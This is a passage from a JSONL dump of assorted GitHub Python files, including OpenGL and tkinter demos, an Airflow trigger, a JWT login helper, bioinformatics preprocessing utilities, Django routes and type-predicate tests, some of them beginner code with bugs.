mouse.\n\n\nhttp://www.de-brauwer.be/wiki/wikka.php?wakka=PyOpenGLGingerbread\n\"\"\"\n\nx = 115\ny = 121\n\n\ndef initFun():\n glClearColor(1.0, 1.0, 1.0, 0.0)\n glColor3f(0.0, 0.0, 0.0)\n glPointSize(4.0)\n glMatrixMode(GL_PROJECTION)\n glLoadIdentity()\n gluOrtho2D(0.0, 640.0, 0.0, 480.0)\n\n\ndef mouseFun(button, state, xIn, yIn):\n global x\n global y\n if button == GLUT_LEFT_BUTTON and state == GLUT_DOWN:\n x = xIn\n y = 480 - yIn\n\n glutPostRedisplay()\n\n\ndef displayFun():\n global x\n global y\n glClear(GL_COLOR_BUFFER_BIT)\n glBegin(GL_POINTS)\n\n M = 40\n L = 3\n for i in range(0, 500000):\n glVertex2f(x, y)\n tmp = x\n x = M * (1 + 2 * L) - y + abs(x - L * M)\n y = tmp\n glEnd()\n glFlush()\n\n\nif __name__ == \"__main__\":\n glutInit()\n glutInitWindowSize(640, 480)\n glutCreateWindow(b\"Gingerbread\")\n glutInitDisplayMode(GLUT_SINGLE | GLUT_RGB)\n glutDisplayFunc(displayFun)\n glutMouseFunc(mouseFun)\n initFun()\n glutMainLoop()\n","repo_name":"gil9red/SimplePyScripts","sub_path":"PyOpenGLExample/gingerbread.py","file_name":"gingerbread.py","file_ext":"py","file_size_in_byte":1366,"program_lang":"python","lang":"en","doc_type":"code","stars":141,"dataset":"github-code","pt":"5"} +{"seq_id":"31306264247","text":"from tkinter import *\n\nroot = Tk()\n#podemos fazer tudo na mesma linha de código, mas a depender do programa e do tamanho do código, pode ser melhor realmente fazer como no second, em duas etapas (para entender veja second) (primeiro criamos depois posicionamos)\nmyLabel1=Label(root, text=\"Hello, World!\").grid(row=0, column=0)\nmyLabel2=Label(root, text=\"My name is Denis\").grid(row=1, column=2)\nmyLabel3=Label(root, text=\" \").grid(row=1, column=1)\n\n\nroot.mainloop()\n","repo_name":"lldenisll/learn_python","sub_path":"Grafic/third.py","file_name":"third.py","file_ext":"py","file_size_in_byte":484,"program_lang":"python","lang":"pt","doc_type":"code","stars":2,"dataset":"github-code","pt":"5"} +{"seq_id":"31285701795","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sun Aug 21 19:24:30 2022\r\n\r\n@author: shn99\r\n\"\"\"\r\n\r\nclass parent():\r\n def __init__(self):\r\n print(\"This is a parent class\")\r\n \r\n def menu(dish):\r\n if dish==\"burger\":\r\n print(\"You can add the following toppings\")\r\n print(\"More cheese | Add jalapeno\")\r\n elif dish ==\"iced americano\":\r\n print(\"You can add the following toppings\")\r\n print(\"Add Chocolate | Add caramel\")\r\n else:\r\n print(\"Please enter valid dish\")\r\n \r\n def final_amount(dish,add_ons):\r\n if dish==\"burger\" and add_ons==\"cheese\":\r\n print(\"you need to pay 250 USD\")\r\n elif dish==\"burger\" and add_ons==\"jalapeno\":\r\n print(\"You need to pay 350 USD\")\r\n elif dish==\"iced_americano\" and add_ons==\"chocolate\":\r\n print(\"you need to pay 250 USD\")\r\n print(\"You need to pay 350 USD\")\r\n elif dish==\"iced-american\" and add_ons==\"caramel\":\r\n print(\"you need to pay 450 USD\")\r\n \r\nclass child1(parent):\r\n def __init__(self,dish,addons):\r\n self.newdish=dish\r\n self.addons = addons\r\n def get_menu(self):\r\n parent.menu(self.new_dish)\r\n \r\nclass child2(parent):\r\n def __init(self,dish,addons):\r\n self.new_dish=dish\r\n self.addons = addons\r\n \r\n def get_final_amount(self):\r\n parent.final_amount(self.new_dish,self.addons)\r\n \r\n\r\n \r\nchild1_object=child1(\"burger\")\r\nchild1_object.get_menu()\r\n\r\nchild2_object=child2(\"burger\",\"jalapeno\")\r\nchild2_object.get_final_amount()\r\n\r\n\r\n\r\n \r\n \r\n ","repo_name":"Golden547/musical-potato","sub_path":"untitled18.py","file_name":"untitled18.py","file_ext":"py","file_size_in_byte":1674,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"27904552212","text":"from __future__ import annotations\n\nimport asyncio\nfrom typing import Any, Sequence\n\nfrom airflow.exceptions import AirflowException\nfrom airflow.providers.google.cloud.hooks.cloud_composer import CloudComposerAsyncHook\nfrom airflow.triggers.base import BaseTrigger, TriggerEvent\n\n\nclass CloudComposerExecutionTrigger(BaseTrigger):\n \"\"\"The trigger handles the async communication with the Google Cloud Composer.\"\"\"\n\n def __init__(\n self,\n project_id: str,\n region: str,\n operation_name: str,\n gcp_conn_id: str = \"google_cloud_default\",\n impersonation_chain: str | Sequence[str] | None = None,\n pooling_period_seconds: int = 30,\n ):\n super().__init__()\n self.project_id = project_id\n self.region = region\n self.operation_name = operation_name\n self.gcp_conn_id = gcp_conn_id\n self.impersonation_chain = impersonation_chain\n self.pooling_period_seconds = pooling_period_seconds\n\n self.gcp_hook = CloudComposerAsyncHook(\n gcp_conn_id=self.gcp_conn_id,\n impersonation_chain=self.impersonation_chain,\n )\n\n def serialize(self) -> tuple[str, dict[str, Any]]:\n return (\n \"airflow.providers.google.cloud.triggers.cloud_composer.CloudComposerExecutionTrigger\",\n {\n \"project_id\": self.project_id,\n \"region\": self.region,\n \"operation_name\": self.operation_name,\n \"gcp_conn_id\": self.gcp_conn_id,\n \"impersonation_chain\": self.impersonation_chain,\n \"pooling_period_seconds\": self.pooling_period_seconds,\n },\n )\n\n async def run(self):\n while True:\n operation = await self.gcp_hook.get_operation(operation_name=self.operation_name)\n if operation.done:\n break\n elif operation.error.message:\n raise AirflowException(f\"Cloud Composer Environment error: {operation.error.message}\")\n await asyncio.sleep(self.pooling_period_seconds)\n yield TriggerEvent(\n {\n \"operation_name\": operation.name,\n \"operation_done\": operation.done,\n }\n )\n","repo_name":"apache/airflow","sub_path":"airflow/providers/google/cloud/triggers/cloud_composer.py","file_name":"cloud_composer.py","file_ext":"py","file_size_in_byte":2245,"program_lang":"python","lang":"en","doc_type":"code","stars":30800,"dataset":"github-code","pt":"5"} +{"seq_id":"73507146392","text":"import time\nimport re\nimport logging\nimport asyncio\nfrom datetime import datetime, timedelta\nfrom functools import lru_cache\n\nimport bcrypt\nfrom jose import JWTError, jwt\nfrom fastapi import Depends, Request, Header, HTTPException\n\nfrom ..middlewares import Config\n\n\nJWT_ALGORITHM = 'HS256'\n\nCUSTOM_KEY = 'I_AM'\nCUSTOM_VALUE = 'ENDAAMAN'\n\nlogger = logging.getLogger('uvicorn')\n\n\nasync def get_is_bearer_token(\n request: Request,\n authorization: str|None = Header(default=None),\n) -> str|None:\n token = None\n if authorization:\n m = re.match(r'Bearer\\s+(.*)$', authorization)\n if m:\n token = m[1]\n return token\n\n\nasync def get_is_authorized(\n request:Request,\n config:Config=Depends(),\n token:str|None=Depends(get_is_bearer_token),\n) -> bool:\n if not token:\n return False\n\n try:\n decoded = jwt.decode(token, config.SECRET_KEY, algorithms=[JWT_ALGORITHM])\n except JWTError as e:\n raise HTTPException(status_code=401, detail='Invalid authorization') from e\n\n exp = decoded.get('exp', None)\n if not exp:\n raise HTTPException(status_code=401, detail='Invalid payload in JWT')\n\n if decoded.get(CUSTOM_KEY) != CUSTOM_VALUE:\n raise HTTPException(status_code=401, detail='You are not me')\n\n diff = datetime.now() - datetime.fromtimestamp(exp)\n if diff > config.expiration_duration():\n raise HTTPException(status_code=401, detail='Your JWT token is expired')\n return True\n\n\nclass LoginService:\n def __init__(self, config:Config=Depends()):\n self.config = config\n\n def login(self, password) -> bool:\n ok = bcrypt.checkpw(password.encode('utf-8'), self.config.PASSWORD_HASH.encode('utf-8'))\n if not ok:\n return None\n\n data = {\n 'exp': datetime.utcnow() + self.config.expiration_duration()\n }\n\n return jwt.encode(data, self.config.SECRET_KEY, algorithm=JWT_ALGORITHM)\n","repo_name":"endaaman/blog-backend","sub_path":"blog_backend/dependencies/auth.py","file_name":"auth.py","file_ext":"py","file_size_in_byte":1942,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"71114492953","text":"from tkinter import *\n\n# This code is for Lab1 for Advanced Security 1. It is to make a 4 function calculator with a functional GUI.\n#\n# Author: Jade Brennan-Keane\n# Student No: C18512336\n# Course: TU857-4\nfrom tkinter import messagebox\n\nwindow = Tk()\nwindow.title(\"Calculator\")\nwindow.geometry('200x150')\n\n# # # # # # # # # variables # # # # # # # # #\nval = \"\"\nx = 0\noperator = \"\"\n# # # # # # # # # variables # # # # # # # # #\n\n\ndef clear():\n print(\"Values Cleared\")\n global x\n global operator\n global val\n val = \"\"\n x = 0\n operator = \"\"\n lbl.config(text=val)\n\n\ndef one():\n print(\"1\")\n global val\n val = val + \"1\"\n lbl.config(text=val)\n\n\ndef two():\n print(\"2\")\n global val\n val = val + \"2\"\n lbl.config(text=val)\n\n\ndef three():\n print(\"3\")\n global val\n val = val + \"3\"\n lbl.config(text=val)\n\n\ndef four():\n print(\"4\")\n global val\n val = val + \"4\"\n lbl.config(text=val)\n\n\ndef five():\n print(\"5\")\n global val\n val = val + \"5\"\n lbl.config(text=val)\n\n\ndef six():\n print(\"6\")\n global val\n val = val + \"6\"\n lbl.config(text=val)\n\n\ndef seven():\n print(\"7\")\n global val\n val = val + \"7\"\n lbl.config(text=val)\n\n\ndef eight():\n print(\"8\")\n global val\n val = val + \"8\"\n lbl.config(text=val)\n\n\ndef nine():\n print(\"9\")\n global val\n val = val + \"9\"\n lbl.config(text=val)\n\n\ndef zero():\n print(\"0\")\n global val\n val = val + \"0\"\n lbl.config(text=val)\n\n\ndef plus():\n print(\"+\")\n global x\n global operator\n global val\n x = float(val)\n operator = \"+\"\n val = val + \"+\"\n lbl.config(text=val)\n\n\ndef minus():\n print(\"-\")\n global x\n global operator\n global val\n x = float(val)\n operator = \"-\"\n val = val + \"-\"\n lbl.config(text=val)\n\n\ndef multiply():\n print(\"*\")\n global x\n global operator\n global val\n x = float(val)\n operator = \"*\"\n val = val + \"*\"\n lbl.config(text=val)\n\n\ndef divide():\n print(\"/\")\n global x\n global operator\n global val\n x = float(val)\n operator = \"/\"\n val = val + \"/\"\n lbl.config(text=val)\n\n\ndef decimal():\n print(\".\")\n global val\n val = val + \".\"\n lbl.config(text=val)\n\n\ndef result():\n global x\n global operator\n global val\n val2 = val\n if operator == \"+\":\n y = float((val2.split(\"+\")[1]))\n z = x + y\n val = str(z)\n elif operator == \"-\":\n y = float((val2.split(\"-\")[1]))\n z = x - y\n val = str(z)\n elif operator == \"*\":\n y = float((val2.split(\"*\")[1]))\n z = x * y\n val = str(z)\n elif operator == \"/\":\n y = float((val2.split(\"/\")[1]))\n if y == 0:\n messagebox.showerror(\"Error\", \"Division by 0 Not Allowed\")\n x == \"\"\n val = \"\"\n else:\n z = float(x/y)\n val = str(z)\n lbl.config(text=val)\n\n print(val)\n\n\nlbl = Label(window, text=val)\nlbl.grid(column=3, row=1)\n\nbtn = Button(window, text=\"ac\", command=clear)\nbtn.grid(column=0, row=1)\n\n# # # # # # # # # Buttons 7-9 # # # # # # # # #\nbtn = Button(window, text=\"7\", command=seven)\nbtn.grid(column=0, row=2)\n\nbtn = Button(window, text=\"8\", command=eight)\nbtn.grid(column=1, row=2)\n\nbtn = Button(window, text=\"9\", command=nine)\nbtn.grid(column=2, row=2)\n# # # # # # # # # Buttons 7-9 # # # # # # # # #\n\n\n# # # # # # # # # Buttons 4-6 # # # # # # # # #\nbtn = Button(window, text=\"4\", command=four)\nbtn.grid(column=0, row=3)\n\nbtn = Button(window, text=\"5\", command=five)\nbtn.grid(column=1, row=3)\n\nbtn = Button(window, text=\"6\", command=six)\nbtn.grid(column=2, row=3)\n# # # # # # # # # Buttons 4-6 # # # # # # # # #\n\n\n# # # # # # # # # Buttons 0-3 # # # # # # # # #\nbtn = Button(window, text=\"1\", command=one)\nbtn.grid(column=0, row=4)\n\nbtn = Button(window, text=\"2\", command=two)\nbtn.grid(column=1, row=4)\n\nbtn = Button(window, text=\"3\", command=three)\nbtn.grid(column=2, row=4)\n\nbtn = Button(window, text=\"0\", command=zero)\nbtn.grid(column=1, row=5)\n# # # # # # # # # Buttons 1-3 # # # # # # # # #\n\n\n# # # # # # # # # `functions` # # # # # # # # #\nbtn = Button(window, text=\"+\", command=plus)\nbtn.grid(column=3, row=2)\n\nbtn = Button(window, text=\"-\", command=minus)\nbtn.grid(column=3, row=3)\n\nbtn = Button(window, text=\"*\", command=multiply)\nbtn.grid(column=3, row=4)\n\nbtn = Button(window, text=\"/\", command=divide)\nbtn.grid(column=3, row=5)\n\nbtn = Button(window, text=\".\", command=decimal)\nbtn.grid(column=2, row=5)\n\nbtn = Button(window, text=\"=\", command=result)\nbtn.grid(column=0, row=5)\n# # # # # # # # # `functions` # # # # # # # # #\n\nlbl = Label(window, text=val)\nlbl.grid(column=3, row=1)\n\nwindow.mainloop()\n","repo_name":"OmairDuadu/4th-Year","sub_path":"Advanced Security 1/Python Code/CalculatorLab1.py","file_name":"CalculatorLab1.py","file_ext":"py","file_size_in_byte":4669,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"2560017722","text":"import os\nimport glob\nimport torch\nimport pickle\nimport numpy as np\nimport pandas as pd\nimport scprep as scp\nimport anndata as ann\nimport seaborn as sns\nimport matplotlib.pyplot as plt\nimport scanpy as sc, anndata as ad\nfrom os import name\nfrom PIL import Image\nfrom sklearn import preprocessing\nfrom sklearn.cluster import KMeans\nImage.MAX_IMAGE_PIXELS = 933120000\n# from dataset import MARKERS\nBCELL = ['CD19', 'CD79A', 'CD79B', 'MS4A1']\nTUMOR = ['FASN']\nCD4T = ['CD4']\nCD8T = ['CD8A', 'CD8B']\nDC = ['CLIC2', 'CLEC10A', 'CD1B', 'CD1A', 'CD1E']\nMDC = ['LAMP3']\nCMM = ['BRAF', 'KRAS']\nIG = {'B_cell':BCELL, 'Tumor':TUMOR, 'CD4+T_cell':CD4T, 'CD8+T_cell':CD8T, 'Dendritic_cells':DC, \n 'Mature_dendritic_cells':MDC, 'Cutaneous_Malignant_Melanoma':CMM}\nMARKERS = []\nfor i in IG.values():\n MARKERS+=i\nLYM = {'B_cell':BCELL, 'CD4+T_cell':CD4T, 'CD8+T_cell':CD8T}\n\ndef read_tiff(path):\n Image.MAX_IMAGE_PIXELS = 933120000\n im = Image.open(path)\n imarray = np.array(im)\n # I = plt.imread(path)\n return im\n\ndef preprocess(adata, n_keep=1000, include=LYM, g=True):\n adata.var_names_make_unique()\n sc.pp.normalize_total(adata)\n sc.pp.log1p(adata)\n if g:\n # with open(\"data/gene_list.txt\", \"rb\") as fp:\n # b = pickle.load(fp)\n b = list(np.load('data/skin_a.npy',allow_pickle=True))\n adata = adata[:,b]\n elif include:\n # b = adata.copy()\n # sc.pp.highly_variable_genes(b, n_top_genes=n_keep,subset=True)\n # hvgs = b.var_names\n # n_union = len(hvgs&include)\n # n_include = len(include)\n # hvgs = list(set(hvgs)-set(include))[n_include-n_union:]\n # g = include\n # adata = adata[:,g]\n exp = np.zeros((adata.X.shape[0],len(include)))\n for n,(i,v) in enumerate(include.items()):\n tmp = adata[:,v].X\n tmp = np.mean(tmp,1).flatten()\n exp[:,n] = tmp\n adata = adata[:,:len(include)]\n adata.X = exp\n adata.var_names = list(include.keys())\n\n else:\n sc.pp.highly_variable_genes(adata, n_top_genes=n_keep,subset=True)\n c = adata.obsm['spatial']\n scaler = preprocessing.StandardScaler().fit(c)\n c = scaler.transform(c)\n adata.obsm['position_norm'] = c\n # with open(\"data/gene_list.txt\", \"wb\") as fp:\n # pickle.dump(g, fp)\n return adata\n\ndef comp_umap(adata):\n sc.pp.pca(adata)\n sc.pp.neighbors(adata)\n sc.tl.umap(adata)\n sc.tl.leiden(adata, key_added=\"clusters\")\n return adata\n\ndef comp_tsne_km(adata,k=10):\n sc.pp.pca(adata)\n sc.tl.tsne(adata)\n kmeans = KMeans(n_clusters=k, init=\"k-means++\", random_state=0).fit(adata.obsm['X_pca'])\n adata.obs['kmeans'] = kmeans.labels_.astype(str)\n return adata\n\ndef co_embed(a,b,k=10):\n a.obs['tag'] = 'Truth'\n b.obs['tag'] = 'Pred'\n adata = ad.concat([a,b])\n sc.pp.pca(adata)\n sc.tl.tsne(adata)\n kmeans = KMeans(n_clusters=k, init=\"k-means++\", random_state=0).fit(adata.obsm['X_pca'])\n adata.obs['kmeans'] = kmeans.labels_.astype(str)\n return adata\n\ndef build_adata(name='H1'):\n cnt_dir = 'data/her2st/data/ST-cnts'\n img_dir = 'data/her2st/data/ST-imgs'\n pos_dir = 'data/her2st/data/ST-spotfiles'\n\n pre = img_dir+'/'+name[0]+'/'+name\n fig_name = os.listdir(pre)[0]\n path = pre+'/'+fig_name\n im = Image.open(path)\n\n path = cnt_dir+'/'+name+'.tsv'\n cnt = pd.read_csv(path,sep='\\t',index_col=0)\n\n path = pos_dir+'/'+name+'_selection.tsv'\n df = pd.read_csv(path,sep='\\t')\n\n x = df['x'].values\n y = df['y'].values\n id = []\n for i in range(len(x)):\n id.append(str(x[i])+'x'+str(y[i])) \n df['id'] = id\n\n meta = cnt.join((df.set_index('id')))\n\n gene_list = list(np.load('data/her_g_list.npy'))\n adata = ann.AnnData(scp.transform.log(scp.normalize.library_size_normalize(meta[gene_list].values)))\n adata.var_names = gene_list\n adata.obsm['spatial'] = np.floor(meta[['pixel_x','pixel_y']].values).astype(int)\n\n return adata, im\n\n\ndef get_data(dataset='bc1', n_keep=1000, include=LYM, g=True):\n if dataset == 'bc1':\n adata = sc.datasets.visium_sge(sample_id='V1_Breast_Cancer_Block_A_Section_1', include_hires_tiff=True)\n adata = preprocess(adata, n_keep, include, g)\n img_path = adata.uns[\"spatial\"]['V1_Breast_Cancer_Block_A_Section_1'][\"metadata\"][\"source_image_path\"]\n elif dataset == 'bc2':\n adata = sc.datasets.visium_sge(sample_id='V1_Breast_Cancer_Block_A_Section_2', include_hires_tiff=True)\n adata = preprocess(adata, n_keep, include, g)\n img_path = adata.uns[\"spatial\"]['V1_Breast_Cancer_Block_A_Section_2'][\"metadata\"][\"source_image_path\"]\n else: \n adata = sc.datasets.visium_sge(sample_id=dataset, include_hires_tiff=True)\n adata = preprocess(adata, n_keep, include, g)\n img_path = adata.uns[\"spatial\"][dataset][\"metadata\"][\"source_image_path\"]\n \n return adata, img_path\ndef find_resolution(adata_, n_clusters, random=666):\n obtained_clusters = -1\n iteration = 0\n resolutions = [0., 1000.]\n while obtained_clusters != n_clusters and iteration < 50:\n current_res = sum(resolutions) / 2\n adata = sc.tl.louvain(adata_, resolution=current_res, random_state=random, copy=True)\n labels = adata.obs['louvain']\n obtained_clusters = len(np.unique(labels))\n\n if obtained_clusters < n_clusters:\n resolutions[0] = current_res\n else:\n resolutions[1] = current_res\n\n iteration = iteration + 1\n\n return current_res\ndef get_center_labels(features, resolution=0.1):\n n_cells = features.shape[0]\n adata0 = ad.AnnData(features)\n sc.pp.neighbors(adata0, n_neighbors=15, use_rep=\"X\")\n adata0 = sc.tl.louvain(adata0, resolution=resolution, random_state=0, copy=True)\n y_pred = adata0.obs['louvain']\n y_pred = np.asarray(y_pred, dtype=int)\n\n features = pd.DataFrame(adata0.X, index=np.arange(0, adata0.shape[0]))\n Group = pd.Series(y_pred, index=np.arange(0, adata0.shape[0]), name=\"Group\")\n Mergefeature = pd.concat([features, Group], axis=1)\n\n init_centroid = np.asarray(Mergefeature.groupby(\"Group\").mean())\n n_clusters = init_centroid.shape[0]\n\n return init_centroid, y_pred\ndef lvcluster(adata1,label):\n adata=adata1.copy()\n n_clusters = len(set(label))\n sc.pp.neighbors(adata, n_neighbors=45, use_rep=\"X\")\n resolution = find_resolution(adata, n_clusters)\n init_centers, cluster_labels_cpu = get_center_labels(adata.X, resolution=resolution)\n return cluster_labels_cpu\ndef normalize(\n adata, filter_min_counts=False, size_factors=True, \n normalize_input=True, logtrans_input=True, hvg=True\n):\n\n if filter_min_counts:\n sc.pp.filter_genes(adata, min_counts=1)\n sc.pp.filter_cells(adata, min_counts=1)\n # sc.pp.filter_genes(adata, min_genes=2000)\n # sc.pp.filter_cells(adata, min_cells=3)\n\n if size_factors or normalize_input or logtrans_input:\n adata.raw = adata.copy()\n else:\n adata.raw = adata\n\n if size_factors:\n sc.pp.normalize_per_cell(adata)\n adata.obs['size_factors'] = adata.obs.n_counts / np.median(adata.obs.n_counts)\n else:\n adata.obs['size_factors'] = 1.0\n\n if logtrans_input:\n sc.pp.log1p(adata)\n\n if normalize_input:\n sc.pp.scale(adata)\n\n if hvg:\n sc.pp.highly_variable_genes(adata, n_top_genes=2000) # min_mean=0.0125, max_mean=3, min_disp=0.5\n adata = adata[:, adata.var.highly_variable]\n\n return adata\nif __name__ == '__main__':\n\n adata, img_path = get_data()\n print(adata.X.toarray())\n","repo_name":"biomed-AI/Hist2ST","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":7605,"program_lang":"python","lang":"en","doc_type":"code","stars":21,"dataset":"github-code","pt":"5"} +{"seq_id":"19463221827","text":"\"\"\"ProyectoBanca URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/3.1/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: path('', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Import the include() function: from django.urls import include, path\n 2. Add a URL to urlpatterns: path('blog/', include('blog.urls'))\n\"\"\"\n\nfrom django.urls import path\nfrom . import views\n\nurlpatterns = [\n path('', views.index, name='index1'),\n path('inicio', views.inicio, name='inicioNormal'),\n path('transferencias', views.transferencias, name='transferencias'),\n path('estadoCuenta', views.estadoC, name='estadoCuenta'),\n path('estadoCuenta/historial', views.historial, name='historial'),\n path('nuevaCuenta', views.nuevaC, name='cuentaTerceros'),\n path('preCheque', views.preCheque, name='preautorizar'),\n path('tarjetas', views.estadoTar, name='tarjetas'),\n path('tarjetas/historial', views.historialT, name='historialT'),\n path('prestamo', views.solicitarPrestamo, name='prestamo'),\n path('misPrestamos', views.estadoPres, name='estadoPrestamo'),\n path('misPrestamos/cuotas', views.cuotasPres, name='cuotasEs'),\n\n path('empresarial/inicio', views.inicioEm, name='inicioEmpresarial'),\n path('empresarial/transferencias', views.transferenciasEm, name='transferenciasEm'),\n path('empresarial/estadoCuenta', views.estadoCEm, name='estadoCuentaEm'),\n path('empresarial/estadoCuenta/historial', views.historialEm, name='historialEm'),\n path('empresarial/nuevaCuenta', views.nuevaCEm, name='cuentaTercerosEm'),\n path('empresarial/preCheque', views.preChequeEm, name='preautorizarEm'),\n path('empresarial/tarjetas', views.estadoTarEm, name='tarjetasEm'),\n path('empresarial/tarjetas/historial', views.historialTEm, name='historialTEm'),\n path('empresarial/prestamo', views.solicitarPrestamoEm, name='prestamoEm'),\n path('empresarial/misPrestamos', views.estadoPresEm, name='estadoPrestamoEm'),\n path('empresarial/misPrestamos/cuotas', views.cuotasPresEm, name='cuotasEsEm'),\n\n path('empresarial/planillas', views.planillas, name='planillas'),\n path('empresarial/proveedores', views.proveedores, name='proveedores'),\n\n]\n","repo_name":"DiegoxBaggins/Django_BancaVirtual","sub_path":"BancaVirtual/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":2492,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"74909789591","text":"from unittest import TestCase\nfrom datetime import datetime, date, time, timedelta\nfrom decimal import Decimal\n\nfrom hypothesis import given\n\nfrom is_valid import is_iterable, is_instance, is_str, is_int, is_float,\\\n is_bool, is_list, is_dict, is_set, is_tuple, is_datetime, is_date,\\\n is_time, is_timedelta, is_number, is_json, is_byte, is_bytes, is_decimal\n\nfrom .utils import classes, scalars, json_data, invalid_json_data\n\n\nclass TestTypePredicates(TestCase):\n\n @given(classes, scalars)\n def test_is_instance(self, cls, value):\n pred = is_instance(cls)\n with self.subTest('explain=True == explain=False'):\n self.assertEqual(pred(value), pred.explain(value).valid)\n with self.subTest('pred correct'):\n self.assertEqual(pred(value), isinstance(value, cls))\n\n @given(scalars)\n def test_is_iterable(self, value):\n with self.subTest('explain=True == explain=False'):\n self.assertEqual(\n is_iterable(value), is_iterable.explain(value).valid\n )\n with self.subTest('pred correct'):\n self.assertEqual(\n is_iterable(value),\n isinstance(value, (list, dict, set, tuple, str, bytes))\n )\n\n @given(scalars)\n def test_is_str(self, value):\n with self.subTest('explain=True == explain=False'):\n self.assertEqual(is_str(value), is_str.explain(value).valid)\n with self.subTest('pred correct'):\n self.assertEqual(is_str(value), isinstance(value, str))\n\n @given(scalars)\n def test_is_int(self, value):\n with self.subTest('explain=True == explain=False'):\n self.assertEqual(is_int(value), is_int.explain(value).valid)\n with self.subTest('pred correct'):\n self.assertEqual(is_int(value), isinstance(value, int))\n\n @given(scalars)\n def test_is_float(self, value):\n with self.subTest('explain=True == explain=False'):\n self.assertEqual(is_float(value), is_float.explain(value).valid)\n with self.subTest('pred correct'):\n self.assertEqual(is_float(value), isinstance(value, float))\n\n @given(scalars)\n def test_is_decimal(self, value):\n with self.subTest('explain=True == explain=False'):\n self.assertEqual(is_decimal(value), is_decimal.explain(value).valid)\n with self.subTest('pred correct'):\n self.assertEqual(is_decimal(value), isinstance(value, Decimal))\n\n @given(scalars)\n def test_is_bool(self, value):\n with self.subTest('explain=True == explain=False'):\n self.assertEqual(is_bool(value), is_bool.explain(value).valid)\n with self.subTest('pred correct'):\n self.assertEqual(is_bool(value), isinstance(value, bool))\n\n @given(scalars)\n def test_is_list(self, value):\n with self.subTest('explain=True == explain=False'):\n self.assertEqual(is_list(value), is_list.explain(value).valid)\n with self.subTest('pred correct'):\n self.assertEqual(is_list(value), isinstance(value, list))\n\n @given(scalars)\n def test_is_dict(self, value):\n with self.subTest('explain=True == explain=False'):\n self.assertEqual(is_dict(value), is_dict.explain(value).valid)\n with self.subTest('pred correct'):\n self.assertEqual(is_dict(value), isinstance(value, dict))\n\n @given(scalars)\n def test_is_set(self, value):\n with self.subTest('explain=True == explain=False'):\n self.assertEqual(is_set(value), is_set.explain(value).valid)\n with self.subTest('pred correct'):\n self.assertEqual(is_set(value), isinstance(value, set))\n\n @given(scalars)\n def test_is_tuple(self, value):\n with self.subTest('explain=True == explain=False'):\n self.assertEqual(is_tuple(value), is_tuple.explain(value).valid)\n with self.subTest('pred correct'):\n self.assertEqual(is_tuple(value), isinstance(value, tuple))\n\n @given(scalars)\n def test_is_datetime(self, value):\n with self.subTest('explain=True == explain=False'):\n self.assertEqual(\n is_datetime(value), is_datetime.explain(value).valid\n )\n with self.subTest('pred correct'):\n self.assertEqual(is_datetime(value), isinstance(value, datetime))\n\n @given(scalars)\n def test_is_date(self, value):\n with self.subTest('explain=True == explain=False'):\n self.assertEqual(is_date(value), is_date.explain(value).valid)\n with self.subTest('pred correct'):\n self.assertEqual(is_date(value), isinstance(value, date))\n\n @given(scalars)\n def test_is_time(self, value):\n with self.subTest('explain=True == explain=False'):\n self.assertEqual(is_time(value), is_time.explain(value).valid)\n with self.subTest('pred correct'):\n self.assertEqual(is_time(value), isinstance(value, time))\n\n @given(scalars)\n def test_is_timedelta(self, value):\n with self.subTest('explain=True == explain=False'):\n self.assertEqual(\n is_timedelta(value), is_timedelta.explain(value).valid\n )\n with self.subTest('pred correct'):\n self.assertEqual(is_timedelta(value), isinstance(value, timedelta))\n\n @given(scalars)\n def test_is_number(self, value):\n with self.subTest('explain=True == explain=False'):\n self.assertEqual(\n is_number(value), is_number.explain(value).valid\n )\n with self.subTest('pred correct'):\n self.assertEqual(is_number(value), isinstance(value, (int, float, Decimal)))\n\n @given(scalars)\n def test_is_byte(self, value):\n with self.subTest('explain=True == explain=False'):\n self.assertEqual(\n is_byte(value), is_byte.explain(value).valid\n )\n with self.subTest('pred correct'):\n self.assertEqual(\n is_byte(value),\n isinstance(value, int) and 0 <= value and value <= 255\n )\n\n @given(scalars)\n def test_is_bytes(self, value):\n with self.subTest('explain=True == explain=False'):\n self.assertEqual(\n is_bytes(value), is_bytes.explain(value).valid\n )\n with self.subTest('pred correct'):\n self.assertEqual(is_bytes(value), isinstance(value, bytes))\n\n def test_is_json_valid_data(self):\n with self.subTest('explain=True == explain=False'):\n self.assertEqual(\n is_json(json_data), is_json.explain(json_data).valid\n )\n with self.subTest('pred correct'):\n self.assertTrue(is_json(json_data))\n\n def test_is_json_invalid_data(self):\n with self.subTest('explain=True == explain=False'):\n self.assertEqual(\n is_json(invalid_json_data),\n is_json.explain(invalid_json_data).valid\n )\n with self.subTest('pred correct'):\n self.assertFalse(is_json(invalid_json_data))\n","repo_name":"daanvdk/is_valid","sub_path":"tests/test_type_predicates.py","file_name":"test_type_predicates.py","file_ext":"py","file_size_in_byte":7069,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"5"} +{"seq_id":"15907609328","text":"\"\"\"\n * 给你一个有 n 个节点的 有向带权 图,节点编号为 0 到 n - 1 。\n * 图中的初始边用数组 edges 表示,其中 edges[i] = [from_i, toi, edgeCost_i] 表示从 from_i 到 toi 有一条代价为 edgeCost_i 的边。\n * 请你实现一个 Graph 类:\n * 1、Graph(int n, int[][] edges) 初始化图有 n 个节点,并输入初始边。\n * 2、addEdge(int[] edge) 向边集中添加一条边,其中 edge = [from, to, edgeCost] 。数据保证添加这条边之前对应的两个节点之间没有有向边。\n * 3、int shortestPath(int node1, int node2) 返回从节点 node1 到 node2 的路径 最小 代价。如果路径不存在,返回 -1 。一条路径的代价是路径中所有边代价之和。\n * 提示:\n * 1、1 <= n <= 100\n * 2、0 <= edges.length <= n * (n - 1)\n * 